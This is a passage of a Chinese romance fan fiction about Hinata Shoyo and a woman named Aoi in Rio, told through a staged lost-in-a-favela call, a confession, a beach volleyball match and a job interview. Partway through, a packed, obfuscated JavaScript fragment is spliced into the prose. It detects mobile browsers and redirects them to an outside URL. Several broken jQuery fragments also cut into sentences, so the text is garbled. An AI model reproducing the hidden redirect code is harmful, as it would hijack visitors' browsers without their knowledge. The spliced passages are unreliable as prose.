“我一路都跟着导航走，好像在哪个路口走错了，然后就一直在爬坡上山，但我看方向是一致的，以为前面有可以拐回那条路的岔道，就想直接走小路穿过去，没想到路越走越窄，这里全是小巷和挨在一起的房子，到处都是乱糟糟的电线，导航显示这里没有路了，我也不知道自己现在在哪……” 葵的心脏骤然绞紧，五脏六腑如坠深渊，越来越沉—— 是贫民窟。 一路上坡、位置在山上、到处是偷牵过来的混乱电线、狭窄的小巷、密密麻麻相互之间距离近到几乎没有留出通行道路的房子…… 无数的信息，都在告诉葵，日向翔阳大概率迷路走进了一个贫民窟，而且自己还对目前的处境一无所知。 虽然这里住的大部分都是普通的居民，但是也有实打实的毒枭，荷枪实弹的毒贩，他们格外忌讳有人在这里打探，或者拍下他们的照片，说不定，翔阳就—— 越是这种时候，葵发现自己的声音越是冷静，甚至冷静到听起来有些陌生。 “翔阳，你听我说，不要再往里走了，你看看那些房子门口有没有看起来和蔼一点的女性，向她们问一问下山出去的路，还记得问路怎么说吗o posso sair daqui，记住了吗？然后把手机放下，收起来，收好，小心不要被偷了，走回到大路上了再给我打电话，好吗？” 即使努力压稳声音了，还是带上了一丝不易察觉的颤抖。 “葵……”日向的声音这个时候才听起来有点慌乱和不知所措。 “好了，我挂电话了，快去，你做得到的，翔阳。”葵从来没有用这么温柔的声音说过话。 然后她狠心地把电话挂断了。 过了十多分钟，她也盯着手机屏幕看了十多分钟，终于，响起了日向的来电。 “葵，我找到路下山了！” 小鸟游葵悬着的心终于放下了：“好，快回来吧，我在楼下等你。” “欸？！”日向先是脱口而出一声惊呼，然后才结结巴巴地说，“啊，哦，好的，我马上回来！” 葵放下手机，深吸了一口气，缓缓吐出，手无意识地抓紧身下的被子，又强迫自己松开。 她扭头看向日向的床，身体几乎是不受控制地走了过去，坐在地上，把脸埋了进去。 清新的柑橘味，带着好好晒过阳光的味道。 小鸟游葵挫败地叹了口气。 原来日向翔阳在她心里这么重要。 贫民窟又不是什么有去无回的龙潭虎穴，但是她竟然感受到了不成比例的恐慌。 所以她不想逃了，至少短期内，她想试着留下来。 如果是日向翔阳的话，太阳一样温暖又坚定的翔阳的话……大概……会不一样吧？ 坐着平静了一会儿心情，小鸟游葵下楼，没过多久，就看见道路尽头有个顶着一头亮橙色头发的身影，骑着单车向她飞驰而来。 “吱——”地一声，单车在前面刹住，少年左脚踩地，把车停了下来，站在那里有点不知所措地看着她。 葵咬了咬下唇，刚刚平复了半天的心跳又猛烈了起来，压抑不住，飞扑进了他的怀里，手臂紧紧环住了他的腰。 ……硬硬的。 不知道是清瘦的少年骨骼本来就比较硬，还是附上了紧绷的薄肌会显得更加结实，总而言之这个怀抱并没有葵想象中那么舒适，但却让她有种眼前这个人确实存在，而且就在她身边的实感，这让她忍不住又抱紧了一点，借此努力挤压着自己的眼部，不让泪水流出来。 “……葵，”日向翔阳也没料到葵的反应这么大，他小心翼翼地拍着她的背，努力让自己语气显得轻松，“我这不是回来了嘛，说起来，贫民窟也没有那么可怕啦。” 贫民窟？ 葵不动声色地继续抱着他，缓慢地眨了眨眼睛，有些疑惑地心想，她没告诉他那里是贫民窟啊。 而且她是有意为之的，就是怕他会因此表现得慌乱，不过……也许是问路的人告诉了他？ 不对，好像只要在心中埋下了一个怀疑的种子，就会发现更多的疑点似的，葵开始觉得今晚的日向翔阳哪里都不对劲。 就比如他现在的反应，怎么说呢，太镇定了，镇定到了甚至显得他有些沉重，有什么心事的样子，所以才导致他现在既没有因为这个拥抱害羞得口齿不清手忙脚乱，也没有露出他标志性的阳光笑容来安抚她。 葵松开手，站直了身子看他，心中的怪异感并没有消失，因为她感觉翔阳似乎是在强迫自己和她对视，以防自己像犯错的小狗一样，在罪证摆在面前时，心虚地挪开视线。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716687|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不动声色地注视着翔阳，伸出右手，顺着他的耳际，揉进他橘色的发丝，翔阳下意识地下蹲配合她，乖巧地偏头，蹭了蹭她的手心。 这也让她闻到了他发丝间飘来的香味，不是家里洗发水的柠檬味，而是一种沉郁的古龙香，葵知道这是他健身房的洗发水味道。 这让小鸟游葵几乎肯定了内心的猜测。 每天都运动的日向会每天洗头，而且日向在健身房的私教课隔天上一次，之前他也尝试过兼顾健身和送外卖，但是后来发现在运动和健身了一天之后，身体很难再承担送外卖的负荷，所以最近的下午，他如果去健身的话，就不会再去送外卖，可能会去沙排教室帮忙，或者去海滩边。 再这么一想，刚刚“迷路”的时候，日向的声音清晰得未免有些过分了，连因骑车而粗重的呼吸或者车轮滚动的声音都没有。 “日向翔阳。” 突然被叫了全名，日向的身体猛地一僵，瞳孔颤抖着看过来，脸上的表情近乎空白。 小鸟游葵还没说什么，他的表情就什么都交代了，全身上下每一寸肌肉都直白地在呐喊——完蛋了，事情大条了。 要不是葵刚刚情绪过于激动，一等他停好车就埋头扎进了他的怀里，说不定只消站在那里看他一眼，就能知道他不对劲。 这么细细想来，给他打电话的那个时候，日向从意识到葵的紧张和情绪不对时，其实就已经开始慌乱了。 真是不太会撒谎和演戏的类型。 葵继续轻柔地揉弄着他干爽、散发着香气的头发，笑容也甜美，就连说出口的内容也像是在关心他： “走错路之后，外卖最后送到了吗？怎么没听你再提了？” “健身完就一直坐在什么地方等着我打电话吧？等了很久吧？” “打完电话之后还专门跑回来骑了自行车？看见我下楼了再装作刚刚骑回来的样子？真是辛苦了。” “说起来，你怎么知道贫民窟是什么样的？不会真的去逛了一圈吧？” “网上查的……也问了打沙排的老师同学和健身教练……”终于有个能回答的问题了，日向愧疚地垂着眼睛，心虚地盯着地面，小声嘟囔。 “真厉害，葡语都到这个水平了，准备了挺久的吧？”语调温柔，又配合着揉他头发的动作，这简直像是在奖励或者表扬他了。 “呃——”日向双手规规矩矩地贴着裤子，脸上一阵红一阵白的，热血涌上来又完全褪去，最后脸上不留一丝血色，定格在了一个放空的惨淡微笑。 一副绝望到极点之后，对接下来要面对的一切都平淡了的超脱表情。 葵又莫名地想笑，什么啊，这个笨蛋小狗，一撒谎就心虚，犯了错那副表情承认得比谁都快，现在还站得直直的，也不狡辩或者找补，一副“没错就是我干的”样子。 还能拿他怎么样呢？自己家的傻狗，葵磨了磨牙，轻轻拍拍他的头：“走吧，没事就好，我们回家。” “葵！”日向欣喜地抬起头，一副已经以为自己被原谅的天真表情，快活地就要去拉她的手。 小鸟游葵只是一挑眉，他又讪讪地放下了，嘴里发出一声苦恼的呜咽，埋着头乖乖跟在葵的身后上楼。 12. 第 12 章 “葵……” 洗漱完了，早就到了入睡的时间，日向翔阳甚至连床都还没上，可怜巴巴地跪坐在葵的旁边，瘪着嘴，睁着圆圆的豆豆眼，眼角还挂着一团泪珠，一遍遍小声地喊她的名字。 葵平静地闭着眼睛，没有任何表情。 她刚才不该一时冲动去抱他的，这个拥抱已经透露了太多，也是这只得寸进尺，很会看眼色的小狗现在敢这么跪坐在她旁边的原因。 “葵……我知道错了……我原本只是想稍微让你担心一下，我想，这样葵说不定就能更加明白自己的心意了……我知道这样很不好……很不真诚……我错了……” 可是事实发展不就是完全按照他的剧本来的吗！这家伙是什么天然的诱饵啊，只是随便晃一晃，一下子就把她给钓出来了。 葵微微皱起眉毛，闭着眼睛也露出了一个生气的表情，虽然是在气自己。 这微妙的表情变化没有逃过日向的眼睛，他立马就紧张了起来。 “葵……你想怎么惩罚我都行……但是不要不理我好不好，呜……我高中的所有空余时间都在打排球，没有遇到过喜欢的女孩子，也不知道该怎么追……才想了这个办法……对不起，我实在是太喜欢葵了，但是每次表明心意都被葵委婉地拒收或者打断，可是……我能感觉到……葵明明也很喜欢我，我实在是不知道该怎么办才好……” ……日向翔阳实在是太会察言观色了。 葵悄悄眯起眼睛看了他一眼，发现日向已经变成了水汪汪的蛋花眼，眼波氤氲地看着她，可怜极了。 大概四分情，六分演吧。 她干脆把被子拉过头顶，闷闷地说：“先睡觉啦！你不是从来都不熬夜的吗？” 橘子小狗磨磨蹭蹭地向着她的方向膝行了两步：“不行……我要等葵原谅了我才能去睡觉。” “我原谅你了。”葵快速地接话。 “才没有，你分明还在生我的气。”日向执拗地坐在地上不肯起身。 葵沉默了一会儿，突然“刷”地拉开被子，露出她那张视死如归的脸，盯着天花板：“我没有生你的气。” “你现在明明看起来就超生气的……” 葵坐了起来，破罐子破摔地承认：“我没有气你，我在气的是我自己，行了吧！” “欸？”日向震撼得连那滴半真半假的泪水都收了回去。 “我在气我自己明明决定好了不要喜欢任何人，却不受控制地越来越喜欢你，气我明明早就决定好了要走，却忍不住一拖再拖，拖到了现在这幅根本走不掉的情景，还气我明明什么都看出来了，但就是觉得你可爱，这些笨笨的心机都可爱，笨得连谎都撒不好也可爱！” 不如说，正是日向那副撒谎后心虚到不行的样子，才让葵没有今晚就收拾东西跑路。 明明是羞耻度爆表的话，但是在这种夜里，还有日向的纠缠不休下，也很轻易地就说出来了。 少女脸色涨红，不知道是因为生气还是因为害羞，连眼眶都湿热了起来，平时顺直的长发有些凌乱地披散着，她气鼓鼓地瞪着日向。 日向见过她好多次生气的表情，在海滩边他莽撞地拉住了她的时候，去找小偷室友算账的时候，偏偏这一次，他没有感到慌乱和无措，而是感觉心一点一点地涨了起来，心跳如鼓，猛烈泵出来的血液直涌大脑。 被骂笨了……但是也被说可爱了……好开心…… 怎么办，他也是一样的，不管什么样的葵，他都觉得好可爱。 “葵……不会走了吗？”他的声音黏得像蜂蜜，首先忍不住确认自己最担心的事情。 “不走了！”葵粗声粗气地说完，又嘟囔着找补，“现在要走也走不掉吧，马上就狂欢节了，这种来里约旅游的高峰期，哪里找得到什么便宜又地段好的空房子啊。” “不走了！”日向模仿着她干脆利落的语气，快活地重复了一遍，橙黄色的发丝雀跃地跳动着。 紧接着，他大声地宣告：“我也好喜欢葵！一见面就喜欢上了！每天都更喜欢！越来越喜欢！比葵喜欢我还要喜欢得多！如果要比这个的话，绝对是我赢！” 热情的告白让葵已经想把脸埋进被子里了，她无力地在心里吐槽，怎么连这个都要比啊…… 气势十足地表白完，日向翔阳期待又羞涩的眼神飘了过来：“葵呢，葵是从什么时候开始喜欢我的？” 这话把小鸟游葵也问住了，她不确定地在心中想，是因为看见了他运动的矫健身姿吗？还是发现他像太阳一样温暖又坚定的时候？是在同居被细心地照顾之后？还是在他安慰她敏感不是错的时候？ 好像，也还要再早一点。 她盯着被子，小声、羞赧地承认自己古怪的想法：“好像是从……心里觉得你不是人，总是忍不住把你看成小狗开始的。” “啊？”突然就被剥夺了人籍的日向石化了，他呆呆地歪了歪头。 “因为人的想法很复杂，表达得也很隐晦，理解起来很辛苦，而且有时候不小心看出来了之后，反而还会更加希望自己要是没有那么敏锐就好了，可是，小狗就很好，心思直率、简单，理解小狗的想法会让人忍不住微笑……” “呜——”明明被比作小狗，日向却一副被夸得酥酥麻麻，马上就要瘫软在葵旁边的神情。 “好啦！快去睡觉啦！”葵狠心把他扶正，用眼神示意他快上床。 日向同手同脚地回到了自己床上，关了灯，那边依然传来窸窸窣窣的声音，像是在抱着被子打滚。 好不容易安静了下来，没过多久，葵又听见他在往床头挪动，睁开眼睛，一张幸福得冒泡的脸悬在她的上空。 “葵——”他小声地喊，努力不吓到她。 “怎么了。”葵无奈地回复，感觉今晚是不用睡觉了。 上面又扭捏了一阵，突然从床的侧边递下来一只手：“我们今晚拉着手睡觉好不好。” 小学生吗！葵在心里尖叫。 “不行，这个姿势太别扭了，早上起来你手会麻的。” 日向发出一声 () { $(''.inform'').remove(); $(''#content'').append('' 失望的呜咽，又缩了回去。 但是没过多久，上面又传来了一个雀跃的提议：“要不要交换一下床，葵来我的床上睡，我去葵的床上睡？” “我们的床有什么区别吗？” 不就是一个是完整的床，一个只有床垫，一个高，一个矮，虽然她还挺满意自己精挑细选的床垫的。 “我想在葵的味道中入睡。” 真把自己当狗吗！？ “不要，我在自己熟悉的床垫上睡得比较香。” “……好吧。” 安静了没一会儿，小鸟游葵又听见他似乎在用某种熟悉的曲调，小声地哼唱她的名字。 她狠狠地咬了咬牙，这个家伙！ “不要用你哼着去上厕所的那个曲调哼我的名字！” 日向马上噤声了。 心情大起大落了一晚，又被日向折腾了这么久，葵很快就感到了疲惫，正当她迷迷糊糊快要入睡的时候，突然又敏锐地感受到有什么热切的视线在注视着她。 她慢慢睁开眼睛，对上了日向依然精神的，猫科动物一般的橙黄双眼。 等了好一会儿，日向一言不发，葵认命地先开口：“怎么了？” “吵到葵了吗？我已经尽量不发出声音了……我就想多看一会儿葵，感觉太幸福，太兴奋了，根本睡不着，好久没这么兴奋过了，简直就像好久以前第一次去参加正式排球比赛前的那个晚上一样。” ……你的视线的确很吵。 葵慢慢地站了起来，在日向困惑的豆豆眼中，把自己的床垫一脚接着一脚地，踢到了和日向床平行的地方。 日向扶着自己的床沿，不解地看着她。 葵躺下，盖好被子，拖着疲惫又困顿的声线说：“手。” 日向这才意识到她的意图，发出了一串意味不明的激动声音，顶着红彤彤的脸，面朝着葵侧躺下，把手递了过去。 几乎垂在了葵的脸旁，轻轻一动就可以蹭到葵的脸颊，现在只是悬在哪里，就能感受到葵温热的鼻息。 但葵只是轻轻地握住他的手，然后倦怠地合上了眼睛。 感谢精力充沛的小狗，今晚也是来不及多愁善感想东想西就入睡了的一晚。 这下日向一动也不敢动了，他只是默默地想，葵的手，好软，暖呼呼的，晚上摸自己头发的时候也很温柔，只是自己当时太紧张了，是什么感觉也不记得了，下次要想办法让葵补上。 葵的呼吸好轻，不认真听根本听不到，好害怕自己睡着睡着，葵就悄悄离开了，只留下他一个人，可是牵着葵的手，就再也不怕了。 虽然柑橘味洗剂的余香霸道地涌入了鼻子，但是因为葵就在旁边，所以好像还是不一样的，轻飘飘的气味也变得沉静了下来，感觉像是冬天窝在暖洋洋的被炉里，又同时吃着清甜多汁的橘子。 日向翔阳侧躺着注视小鸟游葵恬静的睡脸，舍不得闭上眼睛，觉得如果葵喜欢他是小狗，那他就可以做她一辈子的小狗，也一定是天底下最幸福的小狗。 13. 第 13 章 小鸟游葵早上悠悠转醒的时候，先看见的是日向翔阳炯炯有神盯着她的双眼。 她顿了一下，想揉揉自己的眼睛，又发现自己的手被抓在日向的手里。 “早。”她无奈地说。 “早啊，小葵，”日向捏了捏她的手，把已经在肚子里打转了好几圈的话终于问出了口，“我们这是不是算在交往了？” 葵的大脑混混沌沌的：“算吧。” 日向翔阳的眼睛闪闪发亮：“那……葡语中的女朋友怎么说。” “Namorada。” “嘿嘿，”日向又忍不住自己笑了一会儿，才理直气壮地说，“今天早上舍不得放开葵的手，所以没有起床做早餐。” 说完，就用那副“你一定会原谅我吧”的表情盯着葵。 “那就随便吃点面包吧。” 葵刚想起身，手又突然被日向翔阳攥住了。 他非常专注地盯着她：“葵，我们做一个约定好不好。” “什么约定？” “我昨天晚上睡不着，想了很久……不只是因为过于开心的缘故……我希望……我和葵之间，不需要掩饰或者试探什么，我们心里有什么想法都可以直白地说出口。” ……他不会还在因为昨天的事情愧疚吧，这个人是从来没有做过坏事吗？ 葵垂眸看了一会儿他们相握的手，也下定了什么决心似的，用力地回握了一下。 “好。” * 今天他们起得晚，佩德罗也出门了，一看见佩德罗，日向瞬间眼睛一亮。 哦……不要…… 葵在心中呻吟。 日向用葡语大声、标准、清晰地说：“葵是我的女朋友！” 葵的第一反应竟然是——这不挺说得标准的嘛，不知道他说之前在心里默念了多少遍，又或者……上次说不好纯粹是因为和她面对面太紧张了？ “啊，”佩德罗愣了一下，目光在他们两人之间扫射了好几圈，有些不确定地回复，“恭喜？” 葵猜测佩德罗大概觉得他们已经结束了只是一起玩的rolo关系或者纯□□的ficante关系，正式步入一段承诺，肯定想不到他们还是刚刚表明心意，睡觉时只是手拉着手的纯情关系。 ……虽然也确实拥有了他们两个人之间的承诺，但也不是那种承诺…… “谢谢！”日向继续雀跃地回复，看起来甚至还想再挑战一下自我，说点更多的长难句。 “快走吧，上课要迟到了。”葵把他推到了门口。 日向抵在门口，用期待的眼神看着她：“葵今晚没课，来弗拉门戈海滩看我打球好不好，今天有约好了一个熟人一起组队的小比赛。” 一看就知道这只小狗又想到处炫耀了。 葵遵守今天刚刚制定下来的相处约定，小声把心里对高需求小狗的吐槽说出了口：“沙排只有两个人所以不明显，不过我猜你打室内排球的时候，一定会是那种一直积极主动要球的类型。” “欸，葵好厉害，是这样没错，不过这也是打排球的一种策略啦，但是我确实很喜欢扣球的那个瞬间——球的重量会清晰地传到手上，所以每次要球也都是真心的。” 果然是这样啊。 葵勾了勾嘴角：“去吧，晚上我会去看你打球的。” * 这似乎是一场在晚上聚集在这片海滩打球的人中间小有规模的比赛，大部分长期在这里打球的人都围在旁边观看，还形成了不同的加油阵营，层层加码地赌着啤酒和夜宵，这架势也吸引了不少好奇的游客。 葵默默地找了个角落站着，但是位于场中央的日向总是一脸得意地跟身边的人说了些什么，然后大家就带着热烈或调侃的笑容，猛拍翔阳的肩膀或者后背，目光也都看了过来，让葵这个角落显得格外耀眼。 她身边有些人了然地看着她的亚洲面孔，猜测着他们的关系，但是葵面无表情，有些人还困惑地往自己身后望去。 葵：…… 好在这一次，比赛无惊无险地结束了。 日向的队友是个高大、褐色皮肤的巴西人，身高将近两米，肌肉虬劲，他每次扣球时发出来的巨响都像是要把球在空中直接拍炸，当球在网对面触地时，总能激起一阵沙雾。 不但发挥神勇，装备看起来也格外正式，还戴了防沙眼镜。 日向翔阳看起来就随意多了，简单的白t加上短裤，被他称为“还处在新手福利期”的健身卓有成效，露出来的小臂和小腿已经逐渐粗壮了起来，一举一动都带着充满生命力的弹性和力度。 当然，日向的发挥也不逞多让，他以令人惊异的速度和反应能力神出鬼没地出现在每一个角落救球，将球与巴西人连接起来，就像是会传说中的土遁术一样。 这绝对不是葵偏心，她从现场热烈的欢呼声也可以感受到日向的每一次救球有多精彩。 赢了比赛之后，他们两个队友抱在一起，又跳又笑的，撞来撞去，突然，日向翔阳被队友夹着双臂举了起来，展示给周围的人群看，这场面就像狮子王登基一样，更别说日向还是橙色的头发。 “唔唔唔哦哦！忍者翔阳！！”爱闹的巴西人大声带头起哄。 “忍者翔阳！”场边的熟人们也大笑着应和。 葵默默找了个地方坐下，耐心地看着他们欢呼庆祝。 等巴西人都闹完了，散去了，葵才挥了挥手，示意自己的位置，日向朝她走来，刚刚赢了比赛，又被众星捧月地赞扬了一番，现在眼睛还是亮晶晶的。 只是走近了，他才突然反应过来什么似的，垂下眼皮，当着她的面用尚且没沾上沙粒的肩膀蹭了蹭眼睛。 “怎么了？”葵果然上钩，示意他蹲下来，她捧起日向的脸仔细看了看，眼皮红红的。 “刚刚打球的时候，眼睛里好像进沙子了。”日向说完，就继续期待地看着她，想说什么简直都在自己的表情里。 “哦，那你用力眨几下眼睛就没事了。” “葵！” “好啦。”葵不再逗他，扶正他的头，鼓起脸颊，轻轻往他的眼睛上吹了几口气。 “唔呃！” 她双手捧着的脸颊迅速升温，还没等她反应过来，一个毛茸茸橙色的脑袋就钻到了她的颈窝里，胸膛一起一伏地喘着气。 葵笑着要把他推开：“不是你想让我帮你吹吹的吗？ () { $(''.inform'').remove(); $(''#content'').append('' ” “没有想到威力这么大……” 翔阳不肯退开，反而抬起原本撑在地上的手，用力地抱住葵的腰，里约夏日热腾腾的温度随着皮肤的接触一起传了过来。 葵的下巴靠在他的肩上，目光游离到了不远处三两站着聊天吹风的巴西人身上，不少脸熟的人投来了暧昧和理解的目光，葵也蓦地脸红，一狠心，直接把日向推开。 日向眨了眨眼，不解地看着他。 葵细细打量着他的脸，试图转移他的注意力：“你好像晒黑了点。” 原本算得上白皙的皮肤已经带上了一层薄薄的麦色，尤其是在鼻头这种容易出汗融掉防晒的地方，麦色还要更深一点，让他像一颗逐渐成熟的果实。 “欸？！这样吗？”日向小受打击，果然心思就被牵着走了，“我每天都有认真擦防晒呢！” “这边药店里面卖的防晒？” 日向点了点头。 葵无奈地把他额边遮挡视线的橙黄色碎发捋到后面：“巴西本地生产的防晒都不会保护你的肤色。” 日向的眼睛失去了神采，喃喃自语：“我还趁着打折，囤了一大堆，都塞在了柜子里。” “继续用啊，晒黑了也很可爱。”葵云淡风轻地安慰他，目光却忍不住盯着他比周围皮肤都要深上一点的鼻头。 ……感觉还冒着热气的日向就像一块刚出炉的小面包，鼻子这里因为翘起来了所以烤得要更深一点，口感大概也会更脆吧？ 等葵反应过来的时候，她的嘴唇已经轻轻地碰在日向的鼻尖上了。 “欸？诶诶诶诶诶？”日向呆滞了一会儿，猛地惊醒，耳朵鼻子都冒着热气，两只手在空中挥舞半天，不知道该放哪里，最后捂住了自己的鼻子，手掌上方的眼睛瞪得大大的，满脸通红地看着葵。 葵也后知后觉地用双手捂住了自己的嘴，并试图尽可能多遮挡一点自己红得要滴血的脸，火速把头埋得低低的，恨不得把脸埋进沙子里。 啊啊啊啊她刚刚在干什么啊！！只是因为喜欢吃面包所以就没忍住吗？！ “葵……”头顶传来还带着微微颤抖的声线，在葵鸵鸟般自欺欺人的姿势中，有一双手伸到了她的眼前。 都这种时候了，她首先还是心疼地注意到关节和手背处被小石子划到的伤口。 天然的沙滩……没有经过筛选的沙子……会疼吧？…… 这双手把她的手拉了起来，强迫她露出脸，抬起头。 橘子小狗涨红了脸，双手紧紧攥着葵的手腕，让葵只能呆呆地看着他越凑越近。 要来了吗？葵皱起眉头，有点不确定自己是不是应该闭上眼睛。 近到都能看见日向清澈的琥珀色瞳孔里映出自己的影子了，葵咬了咬牙，认命地闭上了眼，下意识地把头又仰高了点。 但她只是感到有什么软软的东西落在了自己的鼻尖上。 葵惊讶地睁开双眼，看到近在眼前的日向翔阳紧紧闭着双眼，他紧张得整张脸都皱在了一起，一点也不敢睁开眼睛看葵现在的表情。 可是他的吻只是轻轻落在她的鼻子上，像是在模仿她刚刚的动作，又像只是小狗在亲昵地蹭她的鼻尖。 14.第 14 章 小鸟游葵发现自己不由自主地勾起了嘴角，她轻轻捧起日向翔阳的下巴。 “好啦，今天我们就早点回家吧，我明天有一个面试，要早起。” “欸？什么样的面试？”翔阳睁开了他的眼睛，紧皱成一团的眉眼终于舒展开来。 “一份在外贸公司的工作。” 葵慢慢站起来，在心里思考，之前的面试大多只是接了个电话聊聊天之后就再也没有后续，但是最近在面试的这份工作到目前为止的进展都很顺利，第一次让她看见了一点希望。 她缓缓深呼了一口气，压下心中的期待，不想让自己之后因为过大的落差感变得更加失望，可是有人现在比她更激动。 “唔哇哇这个面试听起来就很不一样！葵要去哪里面试？需要我陪你去吗？要不要提前和我练习一下？不不不，应该说什么时候面试？早餐吃什么好呢？不如吃猪排饭吧！有的时候，在考试之前，妈妈会给我做猪排饭呢……葵的面试在什么时候？” “上午。” “欸？！……如果面试在早上的话……早上吃猪排饭……可恶，应该今晚就吃的，来不及了，要不然明天早上就象征性地只吃一点点吧……” 日向翔阳还在苦恼地小声纠结着，亦步亦趋地跟在她的身后，葵听得有点恍惚。 猪排饭，因为在日语中和“胜利”同音，所以似乎很多人有在考试、面试、找工作等重要场合之前吃猪排饭的习惯。 可是从小就没有人会为她在重要场合之前，准备可以带来好运的猪排饭，她也没有这个习惯。 毕竟她可是连神社都不会去的人。 虽然猪排饭本来就是她觉得无关紧要的迷信，她也不是什么很有仪式感的那类人，可是现在……竟然有人会愿意为了她相信这些。 ……感觉有点陌生呢，这种傻乎乎被爱的感觉。 同时，好像也有点困惑，不太理解日向在这件事情上莫名其妙的坚持和决心。 他看起来简直就想在明天超市开门的第一时间冲进去买好东西，然后回家做饭。 小鸟游葵默默把手递了过去，拉起跟在她身后的日向翔阳，自认为通情达理地说：“就不吃猪排饭了吧，你不是说要尽量少吃油炸的东西吗？” “偶尔吃一吃也是没关系的啦！特别是在这种重要的时候。葵是不喜欢吃炸猪排吗？” “倒也不是，不过，翔阳会在重要的排球比赛前吃猪排饭吗？” “欸？……这倒不会……” “那为什么会想让我吃呢？” 葵回头看过去，日向翔阳睁大了眼睛，自己看起来也很迷茫。 “对啊……为什么……会想让葵吃呢？……” 连葵都觉得自己古怪的好奇心有些不合时宜了，日向翔阳却突然一副恍然大悟的样子。 “因为我喜欢葵啊。”他理所当然地说。 葵的手指不受控制地一紧，她知道，通过他们相牵的手，日向也一定感受到了。 ……不要突然就这么自然地表白啊！ 但是日向还带着天然的表情，说着：“我以前也不知道喜欢人是怎么样的感觉，但是现在，我好像明白了一点，我发现自己每天都只希望葵一切都顺利，希望葵开心，然后呢，无论为此需要做什么，我都会努力去做！哪怕是能让葵在面试之前吃到象征胜利的猪排饭这种事情，真的能给葵带来好运也好，能让葵更有信心也好，我都会去做！” 葵用力想挣开他的手去捂住自己的脸，可是日向反而随着表白的情绪越来越激动，双手越握越紧，不肯放开她。 竟然会有人捧得出这么饱满的爱意吗？葵觉得自己都要被他眼神中的热烈给烫伤了。 她……真的可以回应这么坚定的感情吗？ “……你先松手啦。”葵垂下头，下意识地回避日向翔阳灼热的目光，不想让他看见她眼中的动摇。 可是她低下去的头反而看见了日向的双手紧了紧，凸出的骨节随着这个动作泛白，头顶传来他有些急切的声音：“葵怎么了？” ……她要怎么回答啊，难道要诚实地说这种毫无保留的、炽热的爱，有点烫伤到她了吗？ 日向毫无察觉地歪了歪头，自己把话接了下去：“葵是……害羞了吗？啊啊啊我也不知道自己是怎么了，这些话莫名其妙就跑到了嘴边，我下次会努力控制自己的！所以，葵就让我明天给你准备猪排饭吧！！” “嗯。”葵小声地答应了。 * 第二天早上，葵是被炸猪排的香气给叫醒的，她揉着眼睛走出房门，看见灶台前一颗毛茸茸的橘子头举着长长的夹子，正一脸严肃地盯着锅里的猪排，像是准备救球一样随时准备把火候刚好的猪排给捞出来。 听见葵出门的声音，他也只是微微侧了侧头，视线并没有从锅中移开：“醒了吗？马上就好哦，虽然巴西买不到好吃的拌饭的酱油，但是要买齐做猪排饭的原料却意外地简单呢。” 从葵的角度看过去，说到最后，小狗的下巴还骄傲地抬了一下。 等到葵做到桌子前，饭菜都已经摆好了，日向叉着腰，难得严肃地挥舞着餐具：“按照菜谱的分量，一次就得做那么多，但是早上吃得太油腻了也不好，葵只准吃几块哦。” “好，我开动了。”葵的声音听起来非常平静，毫无波澜。 葵举起筷子挡住了自己的脸，然后火速把头埋了下去，借着嚼食猪排的动作悄悄地掩盖自己不稳的呼吸。 可恶，好想哭。 她以为她不需要爱的。 她本来以为她不需要被爱的。 小狗太好了，比人好，她已经开始感到害怕了，害怕失去他。 日向还浑然不觉地要送她出门，站在门口认真地叮嘱：“葵，紧张的话，记得用腹腔来呼吸！要不然……也可以尝试一下在手心写‘人’字然后吞下去……” “好啦……” 葵站在门口，看着面前翔阳亮晶晶的眼神，觉得此时大概会有一个吻什么的。 可是橘子头只是明媚地笑着：“一切顺利哦，葵！等你的好消息！” 甚至还激动地握起了拳头。 葵：…… 她才没有失望！ 完全没有！ * 办公室位于一个可以看到海景的写字楼里，从一整面巨大的落地窗看出去，刺眼的阳光照射进来，里约的远山和近海都一览无余，零零星星有几个人坐在办公桌前，噼里啪啦地敲着电脑。 葵的脚步踩在地毯上，发出轻柔的声响，她绕过室内旺盛的绿植，跟着接待她的人一起走进会议室里，发现就连这里也留了一大面落地窗来展示 () { $(''.inform'').remove(); $(''#content'').append('' 海景。 不知道是不是真的猪排饭有神秘的功效，或者这里充足的阳光照射和氧气让葵放松了下来，还是日向翔阳在她出发前无微不至的关心和鼓励让葵获得了信心，她自认为表现得好，面试也格外顺利。 几乎就是葵简单介绍了一下自己的情况，他们直接用英语沟通了一会儿，面试就结束了。 坐在桌子对面，叫做劳拉的干练女性甚至没有客套地跟她说“回去等通知”，而是直接问道：“狂欢节假期之后就来上班可以吗？” 葵愣了一下，都没有反应过来，自己就下意识地回答了：“没有问题。” 劳拉看出来她的青涩，却也只是温柔地笑了笑：“去和玛利亚讨论一下你的合同吧，你可以看看具体的条款，再考虑一下。” ……顺利得，简直像在做梦一样。 合同也很让小鸟游葵满意，虽然工资略低于她有所耳闻的平均水平，但毕竟只是第一份正式工作，并且这份酬劳足以让她在里约定居下来，专心学业，更别说每周还可以选择两天在家工作，她毫不犹豫地签了字。 葵恍惚地走在路上，回过神来的时候，发现自己竟然站在了一家运动品牌集合店门口。 “你需要什么？”在橱窗前理货的小哥热情地招呼她。 葵一眼就看向了满架子的户外眼镜，想起昨晚比赛的时候，翔阳的队友戴着的那一副看起来质量还蛮不错，而她的小狗却因为毫无防护，沙子进眼睛了，把眼皮揉得红红的。 ……虽然其中也有日向有意当着她的面为之的部分。 察觉到她的视线，小哥嗅觉敏锐地开始积极推销：“是想看看户外墨镜吗？自己用？还是想送人？” “……送给打沙排的朋友。” “那正好！我们这里刚好有一个法国进口的牌子，连专业的沙排运动员都在戴的。” 售货员热情地把她领到了架子前，伸手就指向了几个一看就款式新颖，价格不菲的墨镜。 葵的视线一下子就被放在角落的一副橙色墨镜给吸引了。 线条简约的黑色镜架，点缀着跳脱的黄色部件，侧边还有防沙的侧挡，镜片本体是和翔阳头发非常相称的橙色。 “噢，亲爱的，我跟你说实话，这幅墨镜可能不太适合呢，它已经放在这里，滞销很久了，你看这里，它的鼻托有点高，很多客户都表示不太贴合，之前有人买回去没过几天还回来退货了，你还是看看我们的明星产品吧。”售货员娴熟地用手指示意葵看一看旁边的主打款式。 